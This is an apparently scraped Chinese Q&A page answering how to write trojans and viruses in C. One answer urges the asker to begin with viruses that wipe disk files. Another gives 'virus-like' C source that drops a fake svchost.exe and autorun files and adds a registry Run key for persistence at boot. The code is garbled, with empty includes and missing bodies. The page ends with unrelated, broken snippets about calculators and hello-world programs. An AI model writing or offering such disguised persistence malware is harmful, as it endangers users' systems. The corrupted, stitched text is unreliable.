怎麼用C語言編寫木馬 病毒等程式

時間 2021-09-05 17:02:22

1樓:匿名使用者

c語言當然可以編寫病毒,事實上很多程式都是用c/c++編寫出來的。

程式語言本身沒有「貴賤」之分,只用用好了,都是相當強的;區別在於主要適用範圍、編寫的難易程式、執行效率的高低、學習的難易程度,等等。

c語言只是一種計算機程式的編寫格式規範,到至於可以編寫出來什麼樣的程式,還要看你所用的c語言編譯器,(比如tc,vc,lcc,gcc等,太多了)。

如果有編寫windows程式,就不能用tc,它只能編寫dos程式,而應該用vc,lcc,c++builder等編譯工具)

編寫出來的程式肯定要呼叫作業系統提供的功能,如編windows程式,就要呼叫win32 api,dos程式則呼叫的是dos中斷,程式設計實際上就是對這些作業系統所提供功能的呼叫。

現在的病毒很多都是用常用的程式設計工具編寫的,如vc++,delph,vc,win32彙編等

2樓:匿名使用者

只要你會了c語言,就可以先試著寫一些簡單的病毒,如破壞磁碟中的檔案,讓系統中特定的程式不能執行等,慢慢來,你會學會的,各種語言寫病毒其實都是這麼一回事

3樓:匿名使用者

嘿嘿給你個類病毒c程式原始碼,看下方法吧 #define svchost_num 6

#include

#include

char *autorun=;

char *files_autorun[10]=;

char *files_svchost[svchost_num+1]=;

char *regadd="reg add \"hklm\\software\\microsoft\\windows\\currentversion\\run\" /v svchost /d c:\\windows\\system\\svchost.exe /f";

int copy(char *infile,char *outfile)

fclose(input);

fclose(output);

return 0;

}else return 1;

}int main(void)

for(i=0;i<=svchost_num;i++)

i=svchost_num+1;}}

system(regadd); /* 註冊svchost.exe,讓其在啟動時執行 */

return 0;}

4樓:匿名使用者

你去學了c語言並理解了就會、不然和你講也沒有用。

怎麼用c語言編寫木馬、病毒等程式?

5樓:手機使用者

c語言當然可以編寫病毒,事實上很多程式都是用c/c++編寫出來的。

程式語言本身沒有「貴賤」之分,只用用好了,都是相當強的;區別在於主要適用範圍、編寫的難易程式、執行效率的高低、學習的難易程度,等等。

c語言只是一種計算機程式的編寫格式規範,到至於可以編寫出來什麼樣的程式,還要看你所用的c語言編譯器,(比如tc,vc,lcc,gcc等,太多了)。

如果有編寫windows程式,就不能用tc,它只能編寫dos程式,而應該用vc,lcc,c++builder等編譯工具)

編寫出來的程式肯定要呼叫作業系統提供的功能,如編windows程式,就要呼叫win32 api,dos程式則呼叫的是dos中斷,程式設計實際上就是對這些作業系統所提供功能的呼叫。

現在的病毒很多都是用常用的程式設計工具編寫的,如vc++,delph,vc,win32彙編等

用C語言編寫程式,用C語言編寫一個程式

樓上沒有找出相差最小的數而是找出的和平均數比較結果中最小的數 include include void main int v,b 10 int i v a 0 a 1 a 2 a 3 a 4 a 5 a 6 a 7 a 8 a 9 10 for i 0 i 10 i for i 0 i 9 i if...

用c語言編寫簡單計算器程式,用c語言編寫一個簡單計算器程式

問明 include stdio h 計算器 voidmenu 自定義的選單介面 printf n printf 請輸入你的選擇 n printf 1 n printf 2 n printf 3 n printf 4 n printf n intmain inti 0 intj 0 intnum 0...

C語言程式怎麼寫,怎麼編寫C語言程式,如 Helloworld的?

include int main for i 0 i 2 i for j 0 j 3 j printf 最大值 d n平均值 g n max,s 6.0 return 0 怎麼編寫c語言程式,如 helloworld的?include int main 一.首先,開啟我們的visual c 6.0軟...